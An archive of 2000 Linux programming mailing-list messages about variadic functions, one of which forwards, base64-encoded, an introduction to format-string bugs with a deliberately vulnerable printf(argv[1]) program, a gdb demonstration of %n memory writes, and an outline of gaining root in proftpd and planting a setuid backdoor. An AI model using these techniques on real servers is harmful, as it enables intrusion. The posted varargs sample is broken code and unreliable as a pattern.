linux-india-programmers@lists.linux-india.org; Fri, 30 Jun 2000 10:41:29 -0500 Received: from [172.16.2.60] by mcdmhp.mcdecom.net with ESMTP for linux-india-programmers@lists.linux-india.org; Fri, 30 Jun 2000 10:37:17 +0530 Received: from io26 [172.25.24.22] by ltitlblr.com [172.25.24.190] with SMTP (MDaemon.v2.83.R) for ; Fri, 30 Jun 2000 10:37:18 +0530 Message-Id: <006b01bfe22b$92315180$161819ac@io26> From: "Mahesh" To: Subject: Re: function arguments Date: Fri, 30 Jun 2000 10:38:55 +1000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MDaemon-Deliver-To: linux-india-programmers@lists.linux-india.org X-Return-Path: maheshv@ltitlblr.com X-Archive-Number: 200006/217 Hi deepak, you can try the implementation of printf for your problem here is a sample program which shows you the variable argument implementation forgive me for my bad programming style but here it is anyway... this is just an excert from my sample programs i had written when i was a stiudent void main( void ) { int y,p,q,r,s,t; printf( "Average is: %d\n", average(10,y,p,q,r,s,t) ); } /* int average(int cc,int first ... ) { cout << cc << endl; int count = 0, sum = 0; void *i ; va_list marker; va_start( marker, first ); // intvec.push_back(&first); i = new int(10); while( first > 0 ) count++; *(int *)i = (int)va_arg( marker, int); int *x = new int; *x = *(int *)i; intvec.push_back(x); ( first)--; } va_end( marker ); for(count=0,iter = intvec.begin(); iter!= intvec.end() ; iter++) cout << (*(int *)(*iter)) << endl; return 1; } regards mahesh - mahesh@www.com ----- Original Message ----- From: deepak yadav To: linux-india-programmers Sent: Friday, June 30, 2000 11:22 AM Subject: [LIP] function arguments > hi > i posted this problem earlier but i am not receiving any mails from LIP. please help me out. > > i have to print some values. i don't know before hand what is their type and number which can only be determined when it is run. > i want to do something like > > for(i = 0; i < num ; i++ ) { > str = getFormatSpecifierString(i); > printf(str, value[i]); > } > > is such thing possible. what kind of array 'value' be. > > thanks > > ----------------------------- > reply soon > bye > > __ deepak __ > > have a great day > ICQ 30662394 > - > - > > This screen intentionally left blank. > > > ----------------------------------------------------------------------- > For more information on the LIP mailing list see: > http://lists.linux-india.org/lists/LIP > From linux-india-programmers-owner@lists.linux-india.org Thu Jun 29 23:17:14 2000 Received: from wiproecmx2.wipro.com (wiproecmx2.wipro.com [164.164.31.6]) by www.aunet.org (Postfix) with ESMTP id 54E9F383E3 for ; Thu, 29 Jun 2000 23:15:37 -0700 (PDT) Received: from ecvwall1.wipro.com (ecvwall1.wipro.com [192.168.181.23]) by wiproecmx2.wipro.com (8.9.3/8.9.3) with SMTP id LAA14960 for ; Fri, 30 Jun 2000 11:54:11 GMT Received: from wslexch.wipsys.soft.net ([192.219.223.59]) by kmglmail.wipsys.soft.net (Netscape Messaging Server 3.6) with ESMTP id AAA3EF4 for ; Fri, 30 Jun 2000 11:45:22 +0530 Received: from wipro.com (MATRIX [164.164.24.118]) by wslexch.wipsys.soft.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id LLBGAAVT; Fri, 30 Jun 2000 11:46:35 +0530 Message-ID: <395C3604.F3273342@wipro.com> Date: Fri, 30 Jun 2000 11:54:12 +0600 From: Ramkumar Iyer X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.12-20 i686) X-Accept-Language: en MIME-Version: 1.0 To: linux-india-programmers@lists.linux-india.org Subject: Re: function arguments Content-Type: multipart/mixed; boundary="------------C4C0D0A3AE63744AD75CA14C" X-Archive-Number: 200006/218 This is a multi-part message in MIME format. --------------C4C0D0A3AE63744AD75CA14C Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit hi , there was a recent format bug in wu-ftpd and this was a post in Security Focus.The post details about format (and specifically talks about va_list and printing variables with diff formats..).The attached txt is some sample code for it.hope it helps.just wondering if u can do this with RTTI in C++. reg Ram Robin Chatterjee wrote: > check out varargs....look in k&r > Thanks Robin > > deepak yadav wrote: > > > hi > > i posted this problem earlier but i am not receiving any mails from LIP. please help me out. > > > > i have to print some values. i don't know before hand what is their type and number which can only be determined when it is run. > > i want to do something like > > > > for(i = 0; i < num ; i++ ) { > > str = getFormatSpecifierString(i); > > printf(str, value[i]); > > } > > > > is such thing possible. what kind of array 'value' be. > > > > thanks > > > > ----------------------------- > > reply soon > > bye > > > > __ deepak __ > > > > have a great day > > ICQ 30662394 > > - > > - > > > > This screen intentionally left blank. > > > > ----------------------------------------------------------------------- > > For more information on the LIP mailing list see: > > http://lists.linux-india.org/lists/LIP > > ----------------------------------------------------------------------- > For information on this and other Linux India mailing lists check out > http://lists.linux-india.org/ --------------C4C0D0A3AE63744AD75CA14C Content-Type: text/plain; charset=us-ascii; name="format.txt" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="format.txt" From - Thu Jun 29 13:25:16 2000 Received: from kmglmail.wipsys.soft.net ([164.164.26.11]) by wslexch.wipsys.soft.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id LLBF9KPH; Tue, 27 Jun 2000 01:13:18 +0530 Received: from ecvwall3.mail.wipro.com ([192.168.181.28]) by kmglmail.wipsys.soft.net (Netscape Messaging Server 3.6) with ESMTP id AAA1CD3 for ; Tue, 27 Jun 2000 01:11:15 +0530 Received: from wiproecmx1.wipro.com ([192.168.181.28]) by ecvwall3.mail.wipro.com (Netscape Messaging Server 3.6) with ESMTP id AAA60AC; Tue, 27 Jun 2000 01:08:36 +0530 Received: from lists.securityfocus.com (lists.securityfocus.com [207.126.127.68]) by wiproecmx1.wipro.com (8.9.3/8.9.3) with ESMTP id DAA19374; Tue, 27 Jun 2000 03:42:17 +0530 Received: from lists.securityfocus.com (lists.securityfocus.com [207.126.127.68]) by lists.securityfocus.com (Postfix) with ESMTP id D88AE1F055; Mon, 26 Jun 2000 10:54:19 -0700 (PDT) Received: from LISTS.SECURITYFOCUS.COM by LISTS.SECURITYFOCUS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 11132714 for BUGTRAQ@LISTS.SECURITYFOCUS.COM; Mon, 26 Jun 2000 10:52:39 -0700 Received: from securityfocus.com (mail.securityfocus.com [207.126.127.78]) by lists.securityfocus.com (Postfix) with SMTP id 70DE21F2FC for ; Sat, 24 Jun 2000 12:57:59 -0700 (PDT) Received: (qmail 6292 invoked by alias); 24 Jun 2000 19:58:20 -0000 Received: (qmail 6289 invoked from network); 24 Jun 2000 19:58:19 -0000 Received: from blackavar.freemessage.com (HELO mail1.freemessage.com) (208.210.50.13) by mail.securityfocus.com with SMTP; 24 Jun 2000 19:58:19 -0000 Received: (qmail 29961 invoked from network); 24 Jun 2000 19:57:55 -0000 Received: from fiver.freemessage.com (208.210.50.10) by mail1.freemessage.com with SMTP; 24 Jun 2000 19:57:55 -0000 Received: (qmail 3021 invoked by uid 65534); 24 Jun 2000 19:57:54 -0000 Approved-By: aleph1@SECURITYFOCUS.COM Delivered-To: bugtraq@lists.securityfocus.com Delivered-To: bugtraq@securityfocus.com X-Originating-IP: [213.224.83.14] Mime-version: 1.0 Content-Type: multipart/mixed; boundary="=====================_889472414==_" Message-ID: <20000624195754.3020.qmail@fiver.freemessage.com> Date: Sat, 24 Jun 2000 19:57:54 -0000 Reply-To: Lamagra Argamal Sender: Bugtraq List From: Lamagra Argamal Subject: format bugs, in addition to the wuftpd bug To: BUGTRAQ@SECURITYFOCUS.COM X-Mozilla-Status: 8001 X-Mozilla-Status2: 00000000 X-UIDL: AAAkdTpAAAARiah4AAAQUGh0yx+WQp7U --=====================_889472414==_ Content-Type: text/plain; charset="us-ascii" For all of you who don't understand these kind of bugs, they are really really new so don't feel bad. I've written a small (ugly) introduction into these kind of bugs. Don't expect too much, but it explain it good enough. Enjoy -lamagra http://lamagra.seKure.de Send someone a cool Dynamitemail flashcard greeting!! And get rewarded. GO AHEAD! http://cards.dynamitemail.com/index.php3?rid=fc-41 --=====================_889472414==_ Content-Type: text/plain; name="Format_b" Content-Transfer-Encoding: base64 Content-Description: Format_b Content-Disposition: attachment; filename="Format_b" CUZvcm1hdCBCdWdzOiBXaGF0IGFyZSB0aGV5LCBXaGVyZSBkaWQgdGhleSBjb21lIGZyb20sLi4u Li4uCgkJICAgIC4uLkhvdyB0byBleHBsb2l0IHRoZW0KCQkgICAgCgkJICAgIGJ5IGxhbWFncmEg PGxhbWFncmFAZGlnaWJlbC5vcmc+CgkJICAgIAotLS0tLS0tPiBXaGF0IGFyZSB0aGV5CgpUaGUg Y29uY2VwdCBpcyBxdWl0ZSBzaW1wbGU6IHdoZW4gYSAqcHJpbnRmKCkgZnVuY3Rpb24gKGVnLiBw cmludGYoY2hhciAqZm10LC4uLikpCmlzIGNhbGxlZCBhbmQgZm10IGlzIHVzZXItc3VwcGxpZWQu IFRoZSB1c2VyIGNhbiBwdXQgaW4gZm9ybWF0c3RyaW5ncyAlcyAlcCAleAppbiB0aGUgZm10LiAq cHJpbnRmIHdpbGwgdGhlbiAiY29udmVydCIgdGhlbSB3aXRoIHRoZSBzdXBwbGllZCBhcmd1bWVu dHMuClByb2JsZW0gaXMgKnByaW50ZigpIGRvZXNuJ3Qga25vdyB3aGVyZSBpdCdzIGFyZ3VtZW50 cyBzdG9wLiBXaGVuIGEgbmV3IApmb3JtYXRzdHJpbmdzIGl0IGp1c3QgcmVhZHMgdGhlIG5leHQg dGhpbmcgb24gdGhlIHN0YWNrLiBMZXRzIGhhdmUgYSBsb29rCmF0IGFuIGV4YW1wbGUuCgo8Kys+ IHB0ZXN0LmMKI2luY2x1ZGUgPHN0ZGFyZy5oPgoKYmxhYXQoY2hhciAqZm10LC4uLikKewogICAg dmFfbGlzdCB2YTsKICAgIGludCBpOwogICAgY2hhciAqYWRkcjsKICAgIAogICAgdmFfc3RhcnQo dmEsZm10KTsKCiAgICBwcmludGYoIi0tLXwgYmVnaW4gfC0tLVxuIik7ICAgIAogICAgZm9yKGkg PSAwO2kgPCA1O2krKykKICAgIHsKCWFkZHIgPSB2YV9hcmcodmEsY2hhciAqKTsKCXByaW50Zigi JXBcbiIsYWRkcik7CiAgICB9CiAgICBwcmludGYoIi0tLXwgIGVuZCAgfC0tLVxuIik7CiAgICAK ICAgIHZhX2VuZCh2YSk7Cn0KCm1haW4oaW50IGFyZ2MsY2hhciAqKmFyZ3YpCnsgIAogICAgY2hh ciBidWZbOF07CiAgICBjaGFyICpwcm90ID0gKGNoYXIgKikweDEyMzQ1Njc4OwogICAgCiAgICBz dHJuY3B5KGJ1Zixhcmd2WzFdLDgpOwogICAgCiAgICBibGFhdChhcmd2WzFdKTsKICAgIHByaW50 Zihhcmd2WzFdKTsKICAgIHB1dGNoYXIoJ1xuJyk7Cn0KPC0tPgoKZGFya3N0YXI6L3RtcC90ZW1w IyBnY2MgcHRlc3QuYyAtb3B0ZXN0CmRhcmtzdGFyOi90bXAvdGVtcCMgcHRlc3QgYmxhYXQKLS0t fCBiZWdpbiB8LS0tCjB4MTIzNDU2NzgKMHg2MTYxNmM2MgoweGJmZmYwMDc0CjB4YmZmZmZiMjQK MHg4MDQ4NTVlCi0tLXwgIGVuZCAgfC0tLQpibGFhdAoKQSBzaW1wbGUgYXJndW1lbnQgbWFrZXMg aXQgcHJpbnQgdGhlIDUgdGhpbmdzIG9uIHRoZSB0b3Agb2YgdGhlIHN0YWNrIGJlZm9yZSB0aGUK Y2FsbCB0byBibGFhdCgpLiBZb3UgY2FuIHNlZSAweDEyMzQ1Njc4IHdoaWNoIGlzIHRoZSBjb250 ZW50IG9mICdwcm90JyBhbmQgdGhlCmNvbnRlbnQgb2YgYnVmIG5hbWVseSBvdXIgYXJndW1lbnQu IFRoZSBvdXRwdXQgb2YgcHJpbnRmKCkgaXMganVzdCBvdXIgYXJndW1lbnQuCk5vdyBsZXRzIHJ1 biBpdCBhZ2FpbiB3aXRoIHNvbWUgZm9ybWF0c3RyaW5ncyBpbiB0aGUgYXJndW1lbnQsIEkgdXNl ICVwIHNpbmNlIGl0CmRvZXNuJ3QgY3Jhc2ggdGhlIHByb2dyYW0uCgpkYXJrc3RhcjovdG1wL3Rl bXAjIHB0ZXN0IEFBQUElcAotLS18IGJlZ2luIHwtLS0KMHgxMjM0NTY3OAoweDQxNDE0MTQxCjB4 YmYwMDcwMjUKMHhiZmZmZmIyNAoweDgwNDg1NWUKLS0tfCAgZW5kICB8LS0tCkFBQUEweDEyMzQ1 Njc4CgpOb3cgdGhlIG91dHB1dCBvZiBwcmludGYoKSBpcyBxdWl0ZSBpbnRlcmVzdGluZy4gSXQg cHJpbnRzIDQgdGltZXMgJ0EnIGFuZCB0aGUKJXAgaXMgcmVwbGFjZWQgYnkgdGhlIGFkZHJlc3Mg b24gdG9wIG9mIHRoZSBzdGFjay4gV2hlbiB5b3UnZCBhZGQgbW9yZSAlcCdzIHRvCnRoZSBhcmd1 bWVudCB5b3UnbGwgc2VlIGV2ZXJ5IG90aGVyIGVsZW1lbnQgb24gdGhlIHN0YWNrIGdldHMgcHJp bnRlZC4KCi0tLS0tLT4gSG93IHRvIGV4cGxvaXQgdGhlbT8KCkZpcnN0IHRoaW5nIHRvIGRvIGlz LCBjaGVjayBvdXQgdGhlIG90aGVyIGtpbmRzIG9mIGZvcm1hdHN0cmluZ3M6CiVjLCAlZiwgJWQs ICVzLCAlcCwgJWksICVuLCBldGMKCiVuIGlzIHByb2JhYmx5IHRoZSBtb3N0IGludGVyZXN0aW5n LCBpdCB3cml0ZXMgdGhlIG51bWJlciBvZiBieXRlcyBwcmludGVkIHRvCnRoZSBsb2NhdGlvbiBw b2ludGVkIHRvIGJ5IGl0J3MgYXJndW1lbnQuCgpzaW1wbGUgZXhhbXBsZToKaW50IHE7CnByaW50 ZigiQUFBQSVuIiwmcSk7CnEgPSA0IGFmdGVyIHRoYXQKCkFzIHdlJ3ZlIHNlZW4gZnJvbSBvdXIg cHJldmlvdXMgdGVzdHMsIG91ciBhcmd1bWVudCBjb3BpZWQgaW50byBidWYsIGlzIG9uIHRoZSAK c3RhY2sgYXN3ZWxsLiBXaGF0IGlmIHdlIHJlcGxhY2VkIHRoZSBBQUFBIHdpdGggYSB2YWxpZCBh ZGRyZXNzIGFuZCB0aGVuIHdyb3RlCnRvIHRoYXQgYWRkcmVzcyB1c2luZyAlbi4gTGV0cyBzZWUK ZGFya3N0YXI6L3RtcC90ZW1wIyBnZGIgLS1leGVjPWEub3V0IC0tc3ltYm9scz1wdGVzdApHTlUg Z2RiIDQuMTcKQ29weXJpZ2h0IDE5OTggRnJlZSBTb2Z0d2FyZSBGb3VuZGF0aW9uLCBJbmMuCkdE QiBpcyBmcmVlIHNvZnR3YXJlLCBjb3ZlcmVkIGJ5IHRoZSBHTlUgR2VuZXJhbCBQdWJsaWMgTGlj ZW5zZSwgYW5kIHlvdSBhcmUKd2VsY29tZSB0byBjaGFuZ2UgaXQgYW5kL29yIGRpc3RyaWJ1dGUg Y29waWVzIG9mIGl0IHVuZGVyIGNlcnRhaW4gY29uZGl0aW9ucy4KVHlwZSAic2hvdyBjb3B5aW5n IiB0byBzZWUgdGhlIGNvbmRpdGlvbnMuClRoZXJlIGlzIGFic29sdXRlbHkgbm8gd2FycmFudHkg Zm9yIEdEQi4gIFR5cGUgInNob3cgd2FycmFudHkiIGZvciBkZXRhaWxzLgpUaGlzIEdEQiB3YXMg Y29uZmlndXJlZCBhcyAiaTU4Ni1zbGFja3dhcmUtbGludXgiLi4uCihnZGIpIHIKU3RhcnRpbmcg cHJvZ3JhbTogL3RtcC90ZW1wL2Eub3V0CgpQcm9ncmFtIHJlY2VpdmVkIHNpZ25hbCBTSUdUUkFQ LCBUcmFjZS9icmVha3BvaW50IHRyYXAuCkNhbm5vdCByZW1vdmUgYnJlYWtwb2ludHMgYmVjYXVz ZSBwcm9ncmFtIGlzIG5vIGxvbmdlciB3cml0YWJsZS4KSXQgbWlnaHQgYmUgcnVubmluZyBpbiBh bm90aGVyIHByb2Nlc3MuCkZ1cnRoZXIgZXhlY3V0aW9uIGlzIHByb2JhYmx5IGltcG9zc2libGUu CjB4ODA0ODA5MCBpbiBfX19jcnRfZHVtbXlfXyAoKQooZ2RiKSBicmVhayAqbWFpbis2MApCcmVh a3BvaW50IDEgYXQgMHg4MDQ4MjFjOiBmaWxlIHB0ZXN0LmMsIGxpbmUgMzAuCihnZGIpIGJyZWFr ICptYWluKzY1CkJyZWFrcG9pbnQgMiBhdCAweDgwNDgyMjE6IGZpbGUgcHRlc3QuYywgbGluZSAz MC4KKGdkYikgYwpDb250aW51aW5nLgotLS18IGJlZ2luIHwtLS0KMHgxMjM0NTY3OAoweGJmZmZm YjEwCjB4NmUyNTcwMjUKMHhiZmZmZmIwMAoweDgwNDgwZWUKLS0tfCAgZW5kICB8LS0tCgpCcmVh a3BvaW50IDEsIDB4ODA0ODIxYyBpbiBtYWluIChhcmdjPTIsIGFyZ3Y9MHhiZmZmZmJhMCkgYXQg cHRlc3QuYzozMAozMCAgICAgICAgICBwcmludGYoYXJndlsxXSk7CihnZGIpIHgvd3ggMHhiZmZm ZmIxMAoweGJmZmZmYjEwOiAgICAgMHgwMDAwMDAwMAooZ2RiKSBjCkNvbnRpbnVpbmcuCgpCcmVh a3BvaW50IDIsIDB4ODA0ODIyMSBpbiBtYWluIChhcmdjPTIsIGFyZ3Y9MHhiZmZmZmJhMCkgYXQg cHRlc3QuYzozMAozMCAgICAgICAgICBwcmludGYoYXJndlsxXSk7CihnZGIpIHgvd3ggMHhiZmZm ZmIxMAoweGJmZmZmYjEwOiAgICAgMHgwMDAwMDAwZQooZ2RiKSBjCkNvbnRpbnVpbmcuCvugvzB4 MTIzNDU2NzgKClByb2dyYW0gZXhpdGVkIHdpdGggY29kZSAwMTIuCihnZGIpIHEKZGFya3N0YXI6 L3RtcC90ZW1wIwoKYS5vdXQgaXMgYSBzaW1wbGUgcHJvZ3JhbSB0aGF0IGV4ZWN1dGVzIHB0ZXN0 IHdpdGggXHgxMFx4ZmJceGZmXHhiZiVwJW4gYXMgCmFyZ3VtZW50LCBhcyB5b3UgY2FuIHNlZSAl cCBwcmludHMgdGhlIGZpcnN0IGFkZHJlc3MgYW5kICVuIHdyaXRlcyB0byAweGJmZmZiMTAuClBy ZXR0eSBuZWF0IGVoLCBJIHRoaW5rIGl0IGlzLgoKV2hhdCBjYW4gSSBkbyB3aXRoIHRoaXMsIHlv dSBhc2suIFdlbGwgeW91IGNhbiBvdmVyd3JpdGUgYW55dGhpbmcgaW5zaWRlIHRoZSAKcHJvZ3Jh bSAoZXhjZXB0IHJlZ2lvbnMgbWFwcGVkIFBST1RfV1JJVEUgbGlrZSAudGV4dCkuIFRoaXMgY2Fu IGJlIG1hbnkgdGhpbmdzCkluIG15IHByb2Z0cGQgZXhwbG9pdCBJIGNob3NlIGZvciB0aGUgc2F2 ZWQgdWlkIGFuZCBwYXJ0IG9mIHRoZSBjb25maWdzIGluIG1lbS4KVGhlIGRhZW1vbiByZWxpbnF1 aXNoZXMgcm9vdHByaXZpbGVkZ2VzIGZvciBvcGVuaW5nIGEgZGF0YWNvbm5lY3Rpb24gCihvbiBM SVNULFJFVFIsZXRjKSBhZnRlciB0aGF0IGl0IGNoYW5nZXMgYmFjayB0byB0aGUgb2xkIHVpZCAo c2F2ZWQgaW4gbWVtKS4KVGhlIGdlbmVyYWwgaWRlYSB3YXMgdG8gemVybyB0aGF0IHVpZCwgb3Bl biBhIGRhdGFjb25uZWN0aW9uIGFuZCB1cCB3aXRoIHJvb3QKcHJpdmlsZWRnZXMgaW5zaWRlIHBy b2Z0cGQuIFdpdGggbG9jYWwgYWNjZXNzIHRoaXMgaXMgZW5vdWdoLCB5b3UgdXBsb2FkIGEgYmFj a2Rvb3IKYW5kIENITU9EIDQ3NTUgKC1yd3NyLXhyLXgpIHByb2Z0cCBhbGxvd3Mgc3VpZHNnaWQg ZmxhZ3MgdW5saWtlIHd1ZnRwZC4gCkJ1dCB3aXRoIGFub255bW91cyBhY2Nlc3MsIHlvdSBjb3Vs ZG4ndCB3cml0ZSB0byBkaXNrIGJlY2F1c2Ugb2YgdGhlIGNvbmZpZ3VyYXRpb24uClNpbXBsZSB0 aGluZyB0byBkbyBpcywgY29ycnVwdCB0aGUgY29uZmlndXJhdGlvbi4gSW4gdGhpcyBjYXNlIGNv cnJ1cHQgdGhlICdEZW55QWxsJwpzZXR0aW5nLgpPdGhlciB0aGluZ3MgdG8gZG8gYXJlIGVnLiBj aGFuZ2UgdGhlIGxhc3QgYnl0ZSBvZiBhIHN0YWNrcG9pbnRlciwgZGF0YSBpbiBtZW1vcnkuCmFu ZCBsb3RzIG1vcmUuCgpBbiBpbnRlcmVzdGluZyB0aGluZyBpbiB0aGUgbmV3IGdsaWJjIHZlcnNp b24gaXMgdGhhdCBmb3IgZXhhbXBsZSAlPGxvbmcgbnVtYmVyPmQKd29ya3MgZXZlbiB3aXRoIHNu cHJpbnRmKCksIG9uIG9sZGVyIGdsaWJjJ3MgaXQganVzdCBjcmFzaGVzLiAKCiotIG5vdGUgLSoK IiUuNWQiLDUgb3V0cHV0cyAwMDAwNQoiJS4yMDAwMDBkIiBvdXRwdXRzIDIwMDAwMCBieXRlcwoq LSBub3RlIC0qCgpXaXRoIHRoaXMgYWR2YW50YWdlIHlvdSBjb3VsZCBhbHNvIGNoYW5nZSA8c2F2 ZWQgJWVpcD4sIGZ1bmN0aW9uIHBvaW50ZXJzLApqbXBfYnVmJ3MgZXRjIGV0YwoKQWxsIHRoaXMg aXMgdmVyeSBuaWNlLCBidXQgaXQgY2FuIGdldCByZWFsbHkgaGFyZCBzb21ldGltZXMuIFNvbWUg c29ydCBvZgp1c2VyZGVmaW5lZCBzdHJpbmcgaGFzIHRvIGJlIHNvbWV3aGVyZSBvbiB0aGUgc3Rh Y2sgd2hlbiB0aGUgZnVuY3Rpb24gaXMgY2FsbGVkLgpUaGlzIHJlcXVpcmVzIHNvbWUgZmlkZGxp bmcgYW5kIHNvbWUgc3RhY2tiYWNrdHJhY2luZy4gU29tZXRpbWVzIHlvdSBoYXZlIHRvIGdvCmJh Y2sgYSBmZXcgZnVuY3Rpb25zIGJlZm9yZSBhIGJ1ZmZlciBpcyBpbiByZWFjaC4gCkNvbmNsdXNp b246IHRoZXNlIGJ1Z3MgYXJlIGJpZywgc29tZXRpbWVzLi4uLgoKVGhpcyBjb25jbHVkZXMgdGhp cyBzbWFsbCBpbnRyb2R1Y3Rpb24gaW50byBmb3JtYXQgYnVncy4gSWYgeW91IHdhbnQgdG8gcGxh eQpzb21lIG1vcmUgd2l0aCB0aGlzIGtpbmQgb2YgYnVncywgZmlkZGxlIGEgYml0IHdpdGggdGhl IHB0ZXN0IHByb2dyYW0uIApBbmQgbWF5YmUgdHJ5IGV4cGxvaXRpbmcgdGhlIGZ0cCBwcm9ncmFt IG9uIGJzZCwgbGludXgsIHdpbmRvd3MuLi4gaXQgaGFzIHRoaXMKc29ydCBvZiBob2xlIGluIHRo ZSBRVU9URSBjb21tYW5kLiBUaGlzIGlzbid0IGEgYmlnIHRoaW5nIGJ1dCBuaWNlIHRvIHBsYXkg d2l0aC4KCi0tLS0tLT4gVGhlIGVuZCAKaHR0cDovL2xhbWFncmEuc2VLdXJlLmRl --=====================_889472414==_-- --------------C4C0D0A3AE63744AD75CA14C-- From linux-india-programmers-owner@lists.linux-india.org Fri Jun 30 02:15:58 2000 Received: from nwcst287.netaddress.usa.net (nwcst287.netaddress.usa.net [204.68.23.32]) by www.aunet.org (Postfix) with SMTP id 63A0C38275 for ; Fri, 30 Jun 2000 02:15:22 -0700 (PDT) Received: (qmail 17165 invoked by uid 60001); 30 Jun 2000 09:14:52 -0000 Message-ID: <20000630091452.17164.qmail@nwcst287.netaddress.usa.net> Received: from 204.68.23.32 by nwcst287 for [61.1.156.101] via web-mailer(34FM1.5.01) on Fri Jun 30 09:14:52 GMT 2000 Date: 30 Jun 00 03:14:52 MDT From: Uber Cracker To: linux-india-programmers@lists.linux-india.org Subject: Source & Grammar X-Mailer: USANET web-mailer (34FM1.5.01) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: quoted-printable X-Archive-Number: 200006/219 Can i get the source code & Grammar of C & C++. ____________________________________________________________________ Get free email and a permanent address at http://www.netaddress.com/?N=3D1 From linux-india-programmers-owner@lists.linux-india.org Fri Jun 30 10:35:20 2000 Received: from netscape.com (h-205-217-237-47.netscape.com [205.217.237.47]) by www.aunet.org (Postfix) with ESMTP id 527CF38066 for ; Fri, 30 Jun 2000 10:35:14 -0700 (PDT) Received: from judge.mcom.com (judge.mcom.com [205.217.237.53]) by netscape.com (8.10.0/8.10.0) with ESMTP id e5UHUfe18112 for ; Fri, 30 Jun 2000 10:30:42 -0700 (PDT) Received: from netscape.com ([207.1.145.44]) by judge.mcom.com (Netscape Messaging Server 4.15) with ESMTP id FWZA6O03.67M for ; Fri, 30 Jun 2000 10:35:12 -0700 Message-ID: <395CDA50.76BBB6E@netscape.com> Date: Fri, 30 Jun 2000 10:35:12 -0700 From: Sudhakar Chandra Organization: I didn't do it, nobody saw me do it, no one can prove a thing X-Mailer: Mozilla 4.73 [en] (X11; U; Linux 2.2.17 i686) X-Accept-Language: en, fr MIME-Version: 1.0 To: linux-india-programmers@lists.linux-india.org Subject: Re: Source & Grammar Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200006/220 Uber Cracker proclaimed: > Can i get the source code & Grammar of C & C++. There is no "source code" of C and C++. In fact, the concept of source code for a language is meaningless. What you are probably looking for is the source code of a compiler for these languages. Download the source code for open source compilers for these languages like gcc / g++. Thaths -- Marge: Okay, but you've accomplished a lot! You've made me very happy. Homer: Oh, yeah, they'll put me on a stamp for that! Sudhakar C13n http://www.aunet.org/thaths/ Lead Indentured Slave From linux-india-programmers-owner@lists.linux-india.org Fri Jun 30 18:11:18 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id 3D45E3802E for ; Fri, 30 Jun 2000 18:11:15 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id SAA20291 for linux-india-programmers@lists.linux-india.org; Fri, 30 Jun 2000 18:10:31 -0700 Date: Fri, 30 Jun 2000 18:10:31 -0700 From: Arun Sharma To: linux-india-programmers@lists.linux-india.org Subject: Re: Source & Grammar Message-ID: <20000630181031.B20257@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20000630091452.17164.qmail@nwcst287.netaddress.usa.net>; from ubercracker@usa.net on Fri, Jun 30, 2000 at 03:14:52AM -0600 X-Archive-Number: 200006/221 On Fri, Jun 30, 2000 at 03:14:52AM -0600, Uber Cracker wrote: > Can i get the source code & Grammar of C & C++. http://compilers.iecc.com/faq.txt -Arun From linux-india-programmers-owner@lists.linux-india.org Fri Jun 30 23:58:47 2000 Received: from mail.iitk.ac.in (unknown [210.212.54.10]) by www.aunet.org (Postfix) with ESMTP id 689BA38189 for ; Fri, 30 Jun 2000 23:58:42 -0700 (PDT) Received: from qasid.cc.iitk.ac.in (qasid.cc.iitk.ac.in [172.31.1.16]) by mail.iitk.ac.in (8.9.2/8.9.2) with ESMTP id MAA28031 for ; Sat, 1 Jul 2000 12:30:14 +0530 (IST) Received: from ajayd.cc.iitk.ac.in (IDENT:ajayd@[172.31.80.32]) by qasid.cc.iitk.ac.in (8.9.2/8.9.2) with ESMTP id MAA11583 for ; Sat, 1 Jul 2000 12:24:22 +0530 (IST) Date: Sat, 1 Jul 2000 12:27:39 +0530 (IST) From: Dwivedi Ajay kumar To: linux-india-programmers@lists.linux-india.org Subject: Re: how to change password. In-Reply-To: <395BC493.B5B74320@netscape.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/222 On Thu, 29 Jun 2000, Sudhakar Chandra wrote: > vishwanath kalbagilmath proclaimed: > > I get a username oldpassword and new password through > > mails and i should update them at the OS level > > There are security issues with a scheme like this. Emails are notoriously > insecure. So allowing someone to send a password via email is a security > hole. > Are you sure you want to allow changing passwd's through mail??????????????????????????????? And you are going to automate it :-0 . Good.